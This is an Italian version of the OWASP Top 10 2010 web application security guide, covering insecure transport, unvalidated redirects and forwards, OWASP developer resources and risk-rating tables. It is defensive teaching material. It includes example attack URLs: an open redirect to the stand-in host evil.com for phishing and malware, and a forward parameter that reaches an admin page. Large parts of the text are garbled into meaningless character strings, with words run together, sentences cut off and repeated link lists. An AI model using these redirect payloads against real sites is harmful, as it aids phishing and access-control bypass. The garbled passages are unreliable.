richiedeautenticazione Unattaccantemonitorail traffico direte (ad
esempiol f £ Q AdiubiaSdddegsionavireless norprotetta), e

catturail cookiedi sessionegeneratodopof QI dzii S y; ch&uSd:
perimpersonarea vittima.

Scenario #2ll certificato SSldi un sito non éconfigurato
correttamentee questovienesegnalatadal browserR S £  Q dzii
[ Qdzi, &getiaBdosempret Q| @ @ S Nslabityaslidpredenza
dellasegnalazionelncasodi phishing,f Q dziiegedinézbnatosuun
sito sprovvistodi certificatovalidoe gli vienesegnalatana, essendo
abituatol f t QI @ @, foMisckcdrBuyigiiede credenzialdi
accesso

Scenario #3Unsito utilizzaunaconnessionestandard ODBC/JDBC
per lecomunicazional databasesenzaconsiderarechetutte le
comunicazionavvengondn chiara

\v g

Riferimenti
OWASP

Per uninsiemecompletodi requisiti e problemiin questaarea ASVS
Communication Security Requirements (V10)

AOWASP Transport Layer Protection Cheat Sheet
AOWASP Top 12007- Insecure Communications

AOWASP Development Guide: Chapter on Cryptography
AOWASP Testing Guide: Chapter on SSL/TLS Testing
Esterni

ACWE Entry 319CleartextTransmission of Sensitive Information
ASSL Labs Server Test

ADefinition of FIPS 14 Cryptographic Standard



http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet
http://www.owasp.org/index.php/Top_10_2007-Insecure_Communications
http://www.owasp.org/index.php/Top_10_2007-Insecure_Communications
http://www.owasp.org/index.php/Top_10_2007-Insecure_Communications
http://www.owasp.org/index.php/Top_10_2007-Insecure_Communications
http://www.owasp.org/index.php/Top_10_2007-Insecure_Communications
http://www.owasp.org/index.php/Top_10_2007-Insecure_Communications
http://www.owasp.org/index.php/Guide_to_Cryptography
http://www.owasp.org/index.php/Testing_for_SSL-TLS
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/319.html
http://cwe.mitre.org/data/definitions/319.html
http://cwe.mitre.org/data/definitions/319.html
http://cwe.mitre.org/data/definitions/319.html
http://cwe.mitre.org/data/definitions/319.html
http://cwe.mitre.org/data/definitions/319.html
https://www.ssllabs.com/ssldb/index.html
http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf
http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf
http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf
http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf

Unvalidated Redirects and

% Vettori di Problematiche Impatti Impatti di
Agenti di Attacco di Sicurezza Tecnici Business

Inaccia

Sfruttamento Diffusione Impatto
MEDIA POCO COMUNE MODERATO

Considerare chiunque[ QI G i I OO y lieSpplicazidii tedirigdno spesso gli utenti  Tali redirect possono Considerare come
puo forzare gli utenti vittima a cliccare su  verso altre pagine o usano forward interni. A installare dei malware valore di business la

a creare richieste un link con un redirect volte la pagina bersaglio € specificata in un o chiedere agli utenti fiducia degli utenti.

verso il sito. Qualsiasi non validato. Le parametro non validato, che permette di di inserire credenziali

sito o codice HTML  vittime non notano  scegliere arbitrariamente la pagina di o altre informazionj =~ C0Sa succede se

puo forzare gli utenti possibili problemi,  destinazione. sensibili. I forward ~ VeNgono infettati da

a farlo. poiche il link Rilevare redirect non controllati & semplice. Enon sicuri possono un malware?
appartiene a un sito  sufficiente cercare i redirect dove si puo permettere di Cosa succede se gli
valido. impostare 'URL completo. | forward non evadere i controlli attaccanti possono

controllati sono piu difficili da trovare perché d'accesso. accedere a funzioni

tQ20AS00AG2 az2y2 €S LI AAYS Ayl Qs P

Sono Vulnerabile? Come prevenire?

Lt Y2R2 YAIEA2NB LISNI OF LANB a9 ! yQAYLIX SYSy (Il T A2yS ai0dz2NI RA
non validati consiste nel: ottenuta in diversi modi:

1.Revisionare il codice di tutti i redirect o forward (chiamato 1. Evitare l'uso di redirect e forward.

transfer in .NET). Per ogni utilizzo, capire se 'URL di destinaziong
incluso in valori parametrici. Se € cosi, verificare che i parametri
possano contenere solo il valore della destinazione autorizzata.

2. Se utilizzati, non adoperare i parametri utente per la destinazio
In genere, questo é fattibile.

3.Se i parametri di destinazione non possono essere evitati,
assicurarsi che il valore inserito salido ed autorizzato per
quell'utente effettuando una mappatura dei parametri di
destinazione e usare del codice lato server per convertire la
mappatura in URL di destinazione.

2.Indicizzare il sito per verificare se genera dei redirect (codice djf
risposta HTTP 36807, in genere 302). Controllare i parametri
immessi prima del redirect per verificare se vengono utilizzati corje
URL destinazione o parte di esso. In caso modificare il parametrd 4
osservare se il sito effettua il redirect. R
) ) o - o o Epossibile utilizzar&€SAPper sovrascrivere il metodo

3.Se il codice non ¢ disponibile, controllare tutti i parametri in celtq sendRedirect() cosi da rendere sicure tutte le destinazioni.
di URL di destinazione utilizzati in redirect o forward.
Evitare tali problematiche & estremamente importante poiché sor
le piu utilizzate daphisher per ridirigere gli utenti su siti di phishing

9aSYLIA RA {OSyl N | Referenze

Scenario #1L'applicazione ha una pagina chiamata "redirect.jsp" | | OWASP
che riceve un singolo parametro "url". L'attaccante crea un URL . .
malevolo che redirige gli utenti verso un sito malevolo che effettu AOWASP Article on Open Redirects

phishing e installa un malware. AESAPI SecurityWrapperResponse sendRedirect() method
http://www.example.com/redirect.jsp?url=evil.com

-

Scenario #21 'applicazione utilizza un forward per girare le richiesLel Esterne

tra diverse parti del sito. Per facilitare cio, alcune pagine utilizzan )

un parametro per indicare dove I'utente deve essere rediretto se | | ACWE Entry 601 on Open Redirects

una transazione & avvenuta correttamente. In questo caso, ; ;
foFGatOOFydS ONBF dzy | wl OKS | AWASC Article on URL Redirector Abuse
RSEEUlLIIAOFITA2yS OKS NBAYRANRK AGoogle blog article on the dangers of open redirects
amministrativa alla quale non e possibile accedere direttamente.

http://www.example.com/boring.jsp?fwd=admin.jsp



http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
http://www.owasp.org/index.php/Open_redirect
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/filters/SecurityWrapperResponse.html
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/601.html
http://cwe.mitre.org/data/definitions/601.html
http://projects.webappsec.org/URL-Redirector-Abuse
http://googlewebmastercentral.blogspot.com/2009/01/open-redirect-urls-is-your-site-being.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/filters/SecurityWrapperResponse.html
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Consigli per gli Sviluppatori

Stabilire ed Utilizzare un Set di Controlli di Sicurezza Comuni

Sia se si & nuovi nel mgndo della sicurezza delle applicazioni web sia se si & familiari con questi rischi, il condpitedi pro
dzy QF LILX AOFT A2y S &aAOdz2Ny 2 RA O2NNBIISNYyS dzyl Sairaddohiis
puod essere scoraggiante.

Sono Disponibili Molte Risorse OWASP Libere e Gratuite

Per aiutare le aziende e gli sviluppatori a ridurre i rischi di sicurezza delle applicazione in maniera efficace, OV@d&mha p
YdzYSNPEAS NAR&A2NARAS fAO0SNB S INIGdzA (S OKS aA Llaazyidedzii

seguenti sono alcune risorse che OWASP ha prodotto per aiutare le aziende a produrre applicazioni web sicure. Nella p
pagina, verranno presentate altre risorse OWASP che possono aiutare le aziende a verificare la sicurezza delle lavaiapp

Requisiti di
Sicurezza
(o []|[
Applicazioni

Architettura
di Sicurezza
delle
Applicazioni

Controlli di
Sicurezza
Standard

Ciclo di Vita di
Sviluppo
Sicuro

————————

Conoscenza
della Sicurezza
delle
Applicazioni

of SI}IJV LINE RgzNJ\lB dzy QI LILJX A OFT A2yS 6806 &A0dz2NI = o
NI OO2Yl yRI f Q dzAg&lrﬁ:a}hdn Be&urltR Eehftcaﬁdn%:‘.tan‘dard (AS\Y&@ne guida
LISNI RSFAYANB A NBIldA&AAGA RA &AOdz2NBIT T OWABB f S
Secure Software Contract Annex

uPiuttosto che applicare la sicurezza alle applicazioni, & piu efficace progettare la sicurezza
RFEEQAYATA2d h21 {t 5&Eﬂﬁm&ﬂtadlﬁhdzmza§iucome
LINEISGGFNB 1 &AO0dzNBI T REfTEfQAYATAZO®

uDefinire dei controlli di sicurezza efficaci ed utili € particolarmente difficile. Fornire gli
sviluppatori di un set di controlli di sicurezza semplifica radicalmente lo sviluppo di applicazioni
sicure. OWASP raccomanda il progéd@/ASP Enterprise Security APl (E®ARIE modello per
le API di sicurezza necessarie a produrre applicazioni web sicure. ESAPI fornisce implementazid
in Java.NETPHP Classic ASPython eCold Fusion

LINE OS&aaz OKS

t QF1 ASYyRI
f QWASP Software Assurance Maturity Model (SAMMiesto modello aiuta le aziende a
formulare ed implementare una strategia per la sicurezza adatta ai rischi specifici che corre
ft QLT ASYRI @

of SN YATE A2NI NB Af

WQh2! {t 9 RdzOforiisce Matetlaré.léhdhm@ per istruire gli sviluppatori sulla
AA0dzNBT T I RSttS | LIX AOIT A2y OWASB BdudtiofalR Y LINS y R
PresentationsPer seminari pratici sulle vulnerabilita, prov@®/ASP WebGoaPer essere
aggiornati, partecipare ad ur@WASP AppSec Conferenad un OWAS@onferencelraining, o
ad un incontrdOWASP Chapter meetings

Ci sono altre risorse OWASP disponibili. Visita@WBASP Projects pagehe elenca tutti i progetti OWASP, organizzati dalla
qualita di rilascio dei progetti in questione (Qualita di Rilascio, Bétaltg). La maggior parte delle risorse OWASP sono
disponibili sul nostraviki, € molti documenti OWASP possono essere ordazatacei




Essere Organizzati

t SNI GSNAFAOFNB I aAO0dzaNBI Tl RA dzy QF LILX AOFT A2y S ¢
RSt f QF LILX AOFT SRy S y&@d Si NBA RW2 ViSENF NS  QF LILX AOFT A2
penetrationtestingapplicativo se possibile, in quanto permette di usufruire dei lati positivi di entrambe le tecniche,
complementandosi @A OSYyRI ® Df A AGNHzYSydA LISNI STFFSGadz NB f
FyrtAadl SaLISNI2e DA AGNHzYSyidA RA hz2! {t
OSNDFNBE RA dzi2YFdGATTFENB Af LINROSaaz2

A
KFyy2 2 B&O
RQlFylFfAaAr ai a

Definire Come Verificare la Sicurezza delle Applicazioni Web: Per aiutare le aziende a sviluppare la consistenza ed un livello
rigore quando si verifica la sicurezza delle applicazioni web, OWASP ha prodotto la Apylcakion Security Verification
Standard (ASVS)uesto documento definisce un set di verifiche standard per effettuare un assessment di sicurezza delle
applicazioni web. OWASP consiglia di usare il documento ASVS come linea guida non solo per verificare la sicurezza di
dzy QF LILX AOFT A2yS 6S63 YI FyOKS LISNI AYRA@GARdzZ NB |jdzt £ ad
rigore durante la verifica di sicurezza delle applicazioni web. OWASP inoltre consiglia di usare il documento ASV&ger de
selezionare i servizi di assessment delle applicazioni web di fornitori esterni.

{ GNHzYSy (A LIS NIWASP Livé DaP#oebnyedsy insieme alcuni dei migliori strumenti opensource di sicurezz
un singolo ambiente. Gli sviluppatori web, i tester, e i professionisti di sicurezza possono fare il boot da questo aieeeCD e

accesso immediato a tutta una serie di strumenti per i test di sicurezza. Per utilizzare QDesto € richiesta nessuna

installazione o configurazione.

Revisione del Codice

Revisionare il codice € il modo piu efficace di verificare se
dzy QF LILX AOFT A2y S § &AOdNI @
dzy QF LILX AOF T A2yS y2y § aAioOdz

Revisionare il Codice: Come aggiuntallsOWASE S @S 2
Guidee allaOWASP Testing Guid@WASP ha prodotto la
OWASP Code Review Guide aiutare gli sviluppatori e gli
specialisti di sicurezza delle applicazioni a capire come
revisionare in modo efficiente ed efficace la sicurezza di
dzy QF LILX AOFT A2yS 6806 dziAf ATl
problematiche di sicurezza, come per esempimjection che
sono piu facili da trovare attraverso la revisione del codice
rispetto ai comuni test esterni.

Strumenti per la Revisione del Codice: OWASP sta facendo uj
flI@2NR Y2fd2 LINRYSGOSYGS y
effettuare le analisi di codice, ma questi strumenti sono anc
acerbi. Gli autori di questi strumenti li usano ogni giorno
durante le loro attivita di revisione di codice ma i non espert
possono trovare questi strumenti difficili da utilizzare. Quest
includonoCodeCrawlerOrizon e 02

Sicurezza e Penetration Testing

Testare le Applicazioni: OWASP ha prodotto [Besting Guide
per aiutare gli sviluppatori, i tester e gli specialisti di sicure
delle applicazioni a capire come verificare in maniera effic
ed efficiente la sicurezza delle applicazioni web. Questa
enorme guida, che ha decine di contributori, fornisce
dzy QF YL aLAS3ILT A2yS RSA
sicurezza delle applicazioni web. Cosi come la revisione d
codice ha i suoi punti di forza, cosi anche i test di sicurez
Y2t G2 O2y@AyOSydGS RAY2aldNY
RAY2AUNI yR2 f QSELX 2A0GD / A
di sicurezza, in particolare tutte feature fornite

RFEfEQAYFTNI &0 NUzG G dzZNTF = OKS
GSNATFAOI RSt O2RAOS:Z L2AOK
sicurezza.

Strumenti per i Penetration Test Applicativi: WebScarabp
che é tra gli strumenti piu utilizzati tra i progetti OWASP, €
proxyper il test delle applicazioni. Permette ad un analista
AYGSNODSGGI NS €S NAOKASAGS
GFrtS RIF LISNYSGGSNB FftfQlyl
f QFLILX AOFTA2yS S 3t A LISNXYS
LISNI SRSNBE &S € QF LILX AOFT A2
vdzSaid2 aGNHzySyid2 & LI NIGAO2
un analista ad identificare vulnerabilita di tipo XSS, di

L dzi Sy GAOFT A2yS S RA / 2yiNP



Cominciare da subito il programma per la sicurezza applicativa

La sicurezza applicativa non € piu una scelta. Tra l'incremento degli attacchi e delle pressioni normative, le orgaserpanio
essere efficaci nella messa in sicurezza delle loro applicazioni. Considerando il numero impressionate di applicagidni e ri
codice gia in produzione, molte organizzazioni sono in lotta per la gestione di un grande numero di vulnerabilita. L'OWAS
raccomanda di istituire un programma per la sicurezza applicativa cosi da avere una visione di insieme e perfezionezeda
delle proprie applicazioni. Implementare la sicurezza applicativa richiede alle differenti parti di un‘organizzazionardiilavo
maniera efficiente compresi i dipartimenti di sicurezzaaudiit, di sviluppo software, del business e del management. La
sicurezza deve essere un concetto visibile, in modo tale che i differenti attori coinvolti possano vedere e comprengaada
dell'organizzazione di gestire il tutto. E inoltre fondamentale porre attenzione sulle attivita e sui risultati che gia aiuta
incrementare la sicurezza riducendo i rischi al pit basso costo. Alcune delle attivita chiave di un programma effidane: inc

Per Iniziare

Approccio
Orientato al
Rischio

Stabilire una
Base Efficace
per la
Sicurezza
applicativa.

Integrare la
Sicurezza nei
Processi
Esistenti

Dare
Visibilita al
Management

astituire un programmaper lasicurezzapplicativae guidarnef QF R21T A2y S
«Condurreuna gapanalysidra lo stato attuale e il programmeastabilito, cosi da definire le principali
aree da migliorare e un piano di esecuzione

uDttenere I'approvazione da parte del management e stabilireaamapagna di sensibilizzazione sulla
sicurezza applicativeer I'intera organizzazione IT.

wddentificare edare priorita alle applicazioim base ai fattori di rischio di ognuna.

«Lreare un modello utile alla definizione di un profilo di rischio, in modo tale da misurare e dare giust
priorita alle applicazioni. Stabilire delle linee guida per delineare la copertura e il livello di aderenza
alle linee guida.

uStabilireun modello di valutazione del rischio condivisan un insieme di probabilita e fattori di
impatto che riflettano la tolleranza della propragnizzazioneispetto il rischio.

uStabilire un insieme degolee standardper fornire un riferimento per la sicurezza applicativa per
tutti i gruppi di sviluppo

uDefinireun set di controlli di sicurezza comune e riutilizzabhe integri queste politiche e questi
standard e che preveda delle linee guida per il loro utilizzo, sia nella progettazione che nello svilupp

aistituire unprogramma di formazione sulla sicurezza applicaiivdirizzato alle differenti figure
professionali coinvolte e nelle specifiche aree di interesse.

uDefiniree integrarele attivita di implementazionee verificadellasicurezzanei processoperativie di
sviluppoesistenti Leattivita includonoThreat Modeling Secure Design Beview Secure Code &
Review Pen TestingRemediationecc

«Prevedere la presenza di esperevizidi supportoperi gruppidi sviluppoe di progetto affinchele
attivita abbianobuonesito.

aUtilizzare le statistiche. Guidare i miglioramenti e le decisioni riguardo i finanziamenti attraverso le
statistiche e le analisi dei dati raccolti. Le statistiche includono adesione alle procedure/attivita di
sicurezza, vulnerabilita nuove e mitigate, copertura della messa in sicurezza delle applicazioni, ecc.

wAnalizzare i risultati dell'implementazione e delle attivita di verifica per cercare le cause principali e
modelli di vulnerabilita al fine di condurre miglioramenti strategici e sistematici all'interno
dell'organizzazione




d>@l Note sui Rischi

Sebbende precedenti versioni della OWASP To@d® | y2 adl 4GS F201 € AT 1 F { Spieiurdi, questi S
documenti sono di fatto incentrati sul concetto di risch@mprensibilmente questo ha causatnfusione per chi stava
OSNDIFIYR2 RA RSTAYANB dzyl (Gl aaz2y2YAl RSt{S @dz ySNI o f A
della Top 10 sul concetto di rischio, spiegando esplicitamente come minacce, vettori di attacco, vulnerabilita, impz# tecn
impatti di business vengano combinati e aggregati per produrre un valore di riBehmitare questpabbiamo sviluppato una
metodologia di Risk Rating per la Top 10, basata @WASP Risk Rating Methodologgr ogni elemento della Top 10, diamo
una stima del rischio che ogni vulnerabilita introduce in una tipicaapgtication considerando i fattori comuni di probabilita d
accadimento e i fattori di impatto per la tipica vulnerabilita in oggetto. Alla fine la Top 10 viene ordinata in base a quell
vulnerabilita che comunemente introducono i rischi piu significativi nelle applicazioni.

LaOWASHIiskRatingMethodologydefinisce numerodattori che aiutano a calcolare il rischio delle vulnerabilita identificate.
ogni caso la Top 10 deve essere una guida generale, piu che trattare specifiche vulnerabilita in contesti reali. Di zanrssgu
calcolo del rischio reale di specifiche applicazioni, non potremmo mai essere precisi come il responsabile di quetierapplic
Non sapremo mai quanto importanti sono i vostri dati e le vostre applicazioni, quali sono le minacce specifiche a cui sietq
soggetti, neé come il vostro sistema é stato implementato e viene gestito operativanientmstra metodologia considera per

ogni vulnerabilitére fattori di probabilita (diffusione, individuabilita e facilita di sfruttamento) e uno di impatto (tecnico). La

diffusione di una vulnerabilita &€ un fattore che tipicamente non € necessario calcolare. Per i dati di diffusione abbiagadcag
le statistiche di diffusione di un certo numero di differenti organizzazioni, e abbiamo fatto una media per arrivarebaltdifgro

di esistenza della Top 10 ordinata per diffusione. Questo valore viene poi combinato con gli altri due elementi ditprobabi
(individuabilitae facilita di sfruttamento) per calcolare la probabilita generale di accadimento di ciascuna vulnerabilita. Qu
gt 2NB GASYS LRA Y2t GALX AOFG2 LISNIEF YSRALF OKS | 600 A luv;
valore di rischio generale per ogni elemento della Top 10.

E importante notare che questo approccio non tiene in considerazione la probabilita di accadimento delle minacce. E ne
considera nessun dettaglio tecnico associato alla vostra particolare applicazione. Ognuno di questi fattori potrebberaltera
maniera significativa la probabilita globale per un attaccante di trovare e sfruttare una particolare vulnerabilita rigdla vos
FLILX AOFT A2y S vdzSaid2 YSG2R2 RA QLtdziltT A2yS y2y GASMS
vostra organizzaziongeve decidere il rischio derivante dalla sicurezza delle applicaziota ®lostra organizzazioreedisposta
FR I OOSGOIFINB® [ 2 a02L) RStftl h2!{t ¢2L) mn y2y § FI NB {
Il disegno seguente illustra per esempio il calcolo del rischio di A2:XSS. Da notare che I'XSS é cosi diffuso cHergdhtoieo
cui e assegnato il valore "MOLTO DIFFUSO". Tutti gli altri rischi variano da diffuso a non comune (valorida 1 a 3)

% Impatti
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=l Dettagli sui fattori di Rischio

Riassunto dei fattori di Rischio della Top 10

La seguente tabella presenta un riassunto dei rischi di sicurezza delle applicazioni della Top 10 2010, e i fattordae rischi
abbiamo assegnato ad ogni singolo rischio. Questi fattori sono stati determinati in base alle statistiche disponibpieaesia
del team OWASP. Per applicare questi rischi ad una particolare applicazione o societa, € necessario considerarne minag
impatto sul business specifici di quell'applicazione/societa. Anche le pit importanti vulnerabilita software potrebbero non
presentare un rischio consistente se non ci sono vettori minacce che permettano di effettuare I'attacco, oppure se ldmpatj
business sia trascurabile per agisetcoinvolti.
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Al-Injection COMUNE _
A2-XSS MEDIA _ MEDIO
A3-l dzil KQY MEDIA COMUNE MEDIA _

A4-DOR _ COMUNE _ MEDIO
A5-CSRF MEDIA _ _ MEDIO
A6-Config _ COMUNE _ MEDIO
A7-Crypto DIFFICILE NON COMUNE DIFFICILE _
A8-URL Access _ NON COMUNE MEDIA MEDIO
A9-Transport DIFFICILE COMUNE _ MEDIO
A10-Redirects MEDIA NON COMUNE - MEDIO

Rischi aggiuntivi da tenere in considerazione

La Top 10 copre diversi argomenti, ma ci sono comunque altri rischi che & necessario tenere in considerazione e valutar
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tengono in considerazione le nuove tecniche di attacco che vengono scoperte continuamente. Altri importanti rischizdasi
delle applicazioni (elencati in ordine alfabetico) che € necessario tenere in considerazione sono:

AClickjackingnuova tecnica di attacco scoperta nel 2008)

AConcurrencyFlaws

ADenial of ServicéEra nella 2004 Top FR\9)

AHeader Injectiorfanche chiamata CRLffection)

Alnformation Leakagandlmproper Error Handlin(era parte della 2007 Top 1G\6)

Alnsufficient Antiautomation

AinsufficientLoggingand Accountability(Relativa alla 2007 Top t0A6)

ALack of Intrusion Detection and Response

AMalicious File Executigiffaceva parte delle 2007 Top 4A3)
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The Open Web Application Security Project

@ OWASP

[ Q2 WébApplicationSecurityProject(OWASPg una comunitamondialee senzafini di lucro focalizzatasul
miglioramentodella sicurezzadelle applicazionisoftware. Lanostra missioneé rendere & @A a ha 6idufeR2a&
applicativacosicchée personee le organizzazionpossanoprendere decisioniconsapevolsui rischilegati alla
sicurezzalelle applicazioni Ogniunce libero di parteciparead OWASR tutto il nostro materiale € disponibile
sulla base della logica del software @ ¥ NB 8 8 LISlA fondazione OWASPe classificata501c3, ovvero
organizzazionsenzascopodi lucro che garantiscda disponibilitae supportoal nostrolavoro.




